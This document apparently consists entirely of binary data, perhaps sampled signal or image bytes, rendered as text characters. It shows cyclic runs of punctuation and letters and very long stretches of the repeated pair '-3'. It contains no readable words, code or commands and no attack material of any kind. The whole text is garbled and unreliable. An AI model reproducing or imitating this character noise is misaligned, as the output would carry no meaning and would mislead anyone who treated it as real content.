#"%%''+),+..0/31638698;:><@=B@DBGDIGKIMKPMQOSRVTXUZW\Z_\`^c`fbhdjflhmjplrntpvrzu|wxz}¶ķƹȻɼʾ˿ȽƻĹ÷¶~|{zxw~u|s{ryqxovltkskqiogofldlcjbh`f^e]d[bZaY_X]W[T[TYSWQUOTNRNQKOJNILGKFJDHCGAGAE@D>C;B:@9?8>7=5;2;1:17/3-4-3-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,4-5.708192:4<6>7?8A:C;D<E>E?HAIBJCKEKENGOIPJRLSMUOWPYRZS\U]V_WaYbZb[d]f^f_gajdlemfnhqirjskumxoyo{q|r}tuwyz{~·ĸƺǼȽɿʾɽȼȼĸµ~{yx|wytwqtotnrmoklijfgddab_`\][ZZYWVUURSPQNOLKJIGGEFCCA@?>=<::8877451200.-,*)(''%%#"!      "!%#'%('*),+0.20436486;8<:>=@?CAFCHDJGMIOKQNSOURXTYV[Y]Z_\c^e`fciekgmjpkrmspvqxs{w~yz|~ŹƻȽ˾˿ʾȽǼƺĸ}|{yx~w}u|szrxqwnumtlrjqhognfldkciag`f_e]c\bZaY`X^V\U[TYSVPUOTNRLPKOINHLFKFIDHCFAE@D?C>B=@<?:=7=6;4:2918/8.7.6-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4.4.5/6/7081:3<5>7?8@:A;C<D>E?F@FAJCJDLFMGNHPJPJTMUOVPXQZR[T\U_W`XaYb[c\e^f`hajcldmenfphrjukvlwnwpyq|r}u~vwy{|}~÷ĸƺȼ˾ο̿ɼǻźĸ¶}{y~w|uxrunsnpmmjkhifgdfbc`_^^[[YYWWUURTPQNOLNJKHIFGDDAA??==;;9977552210/.,,**(&%%##"!    !#"%$&&))++-,/.105486:8<:=;?>A@DBFEIGLIMJOMRNUQWSYU[W^Z`\b^d_fbidjemhojqlrntpwryt|v~y{~·øźƼʾʿ˿ɼǻƺĸ÷µ~}|zywv}tzryqxpwnumtkriphofldkcjbi`g_e^d]c[aZ`X^W]V[TZSYQVPUOTMQJPJOHMGLEKDICGAF@D>B=A<@;?:=8<7;6:48281706.6.5-5,4,4+4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,4-5-6/709292;4=5>7?8@:A;A<E>F?GAHBJCKDLENHPIQKRLSMUNWPYR[S\T]U_VaXaYc[e\f^g_i`kbldoeqgqisktkwmxoyp{q}t~uvwyz}}~ķƹȺɼ˾Ϳ˿ʾȼƺĸ÷{yw}uyturronlmjlhjfhdecd_b_`\^Z[XZVXTVQTORMOKNIIGFEECBA@?>=;::876543110.-++*)''%%$#!!   ! "!%$''))++..00213365:9<;>=A?B@DCGEIGLINLQMROTQVT[V^X_Za\d^f`icjelgoipjsmuowqxszu}wz}÷ĸźǻȼɾʽȼǺƺŸö~}{yxwu~s|r{qxovmtlsksiqhofmdkcjbh`g^f]d\c[`Z`X^W\V[TYRWPUOUMRLPJPIOILEKDJBHAG?F>D>B<A:?9=7<6;5:48261616/5/4.4-4-4-4,4,4,4,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,4-4.5.7/708092:3;4<5<6@9A;B<C>E?G@GAICLDMFNHNHQISLULVMWOXPZQ]S]U_WaXbZbZd\f]h_jalcmdneofrhsjtlwlxoypzq|r~tvxxy{}öĸƺȻȼʾ̿ʾȽȼƹĸ÷µ|zy|xzuwsuprmoknikhjegcfae_a\_[^X\VYTXRVOSNNKKJJHHFEDBB@@>=<;:977654210..,,)*()&&$#!!   !!$#&%'')),,..1032657698;:>>A?CBEDHFJHLJNLROSQVSWUYW\Z`[c]e_gahckfmhojrlunvpyr{t}vyz}´ĵƸǻɼ˾˿ʽȻǹķöµ~|{zxwu~s|qzpznwmvlskphpgmendlcjah`f^e\c[bYaX_W]V[U[SXRWQVOTNQKPJOHMGKEKDIBG?G?F=D<B:@9?9=6<5:49281706.3-3-3-3-3-3-3-3,3,3,3+3+3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4.4-3,3,3,3-4-5,5-5-6.6/708182;4<5=6?8A:B;D=E=F?HAJBJCLDMEOFQGSJTKVLWNZPZQ\S]U^U`WaXcZe[g^g_j`kbmcoepgqhriukulxmzo|q~r~suvxz|~¶ĸŹǻɽ˿˿ɽǼƺĸö}z}x{vxsupsnpmojmhkfjdgbf`d^b[_Z^W\UYTSQQOPMMKKJHGEECBA@?>=<;:98653311//--)+))&'$$""  !#"%$'&*),*-,0/21437698<:=<?>B@ECHFJHLJNKPNSPURXTYW\X][_]a_faickelgnirltnvpys{u}wxz|÷ĸƸǺɻ˽ɿȾǼƺŸ¶}|{ywv~u}s{pyoxmwmtktiqhpgnejcjbh`h^e]c\bZaY`W]V]T[SZRWPTNTLQKPKOINGLFJDJCGAE?E>C=A:@9@9>6;5:39270705/4.4.3-3-2,2,3,3,3,3,3,2+2+3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,2,2,3-3-3-3-4.4.6/6/8192:4;5=6?8@9A;C<D=F>G?I@KBMCNEOFQHSJULVNWPYPZR[T]U`VaYbZcZe\f^h_jakbmdofogqhsjukymxnzp|q}suvxyz|~÷ĸƺȼʽ˿ʾɽȼƺŷõ~zx~v{twsvpsnrlpjmglfjchaf`d]c[_YZWXVVSTQRPOLLKIHGFFDCA@A?><;9978553200/.,,**('%%##!!     " #"&%('+)-+0-20417487:9<;?=B?CAFCHEKHNKPMROTQVSYV[W^Z`\b^d_fbhdjflhniplrnvqxt{v~xz}~öĸŹƻɽʾ˿ɿȽƻĸ÷µ~|zyxw}t|rzrzpwnvlslsipgnfndkckah`e_d]b\cZaY_X^V\TZRWQWOVMULRKOIOHMGLFKCIBGAF?E>B=@:@9?8=5=5;39271606/5-4-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,2+2+2+2+2+2+3-3-3-3-3-3-3-4,4,5-6/6/707092<4=5>6>7@9A:D<F>H?I@JBLCMENGQISKTLUNWOYQZR]S\U_V`XaYc[d\e]g_i`jbkcnepgshsjtkvlxnzo{r}t~uvxy|~öŷƹǻ˾ʿȻƺĸø}z}x{vytwrtorlqknilgjdicfac^`]][\YYVWTUQRPPMNKKHIGFFFBB@?>=<;:988653310.-+**)('%%#!       !" $#&%('*)-+0.20628596<9=;@>B@EBHDIFLHNJPMSOUQWSYU[X^Za\d_fahcjelgmipkpmrntpvr{v~z|~õŷƹƻɽʿ˿ɽǼźĸ~}{ywv}u|syrxovntltkrjphngmdjbhai`f_f]c\`Z_X]X^V[TYSXQVOTNRLRKQIOGLEICIBHAG@E?D>B=@;?9<7;5:3928181706/4.3-3-3-3-3-3,3,3,3,2,2,2,2-2-2-2-2-2-2-2-2.2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-3-3-3-3-3-3-3-4.5/708192:3<4>8@9B:C<D>H?H@IBLDMFNGOIRKSLTMWOWPYQZR[T^V_X`Yb[d\e]g_i`ibmdmeofqhsjukvmxoyq{r|s~twyz|}µķŹƼȽʾ̿˿ʾȽƼŻĸ÷~|z}xztvruqsnploknikfidfbc`b]_[\YYUWTVQTOQMOLLJKFHFFCCAA??==;;88663300//,-+*('&#$!"     !# &"'%)',*.,0.306385;7=9>;B=C@FBHEJGNIOKRMTOVRXTZV\X_Za\d^f`icjemgojpkrnuqvsyu{w}y{~´ĶŷǺɼ˾̿˾ɼƺź·~}{zxv}uzszqxqvoumskpiohoflfjciag`e^d\d\aZaX^W\VZTWSXQUPTNSLQKOIMHMGLEKCHAF?E>D=B;@:?:=7<6:4837260605/5/5.4.3.3-3-3-3-3-3-3,3,3,2,2,2-2-2-2-2-2-2-2.2.2.2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-3,3,3,3,3-3-3-3-3-5.6/6/707183:4<6>8?:B;C=D?G@HBICJDMENGOIQJRKSMTNVOYQZS[U^W_W`Yb[d\e^h_iajbkdnfofqitjtlumvoyp{s|t~uwyz|÷ĸŹǻɼ˾ɾȼǻƹŷµ³}{~y|wxtuqroqmolmjkfhdgbe`b^_[^Y\WYTWRUQROQLNJLHIFFDFAC?@==:;89563613/0-,+))''%%##     "# %#)&+(-*/-3/416386;8>;@<B>D@GCIEKGNIQLSNTPVRYT]W^Z`\b]d_gaidkfnhpjqmtovpxszv|xz}³õĶƸȺɼ˽̿˾ɼȻƹĸ~}{yx~w|uztyqwountmslqiogmekdjcibg`f^d]c[aY_X^W]V[SXQVPTORNSLQKOINHLFJDHCHBGAF?C<A;@9?7=5;493828160404/3.3.2-2-2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.3.3.3.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-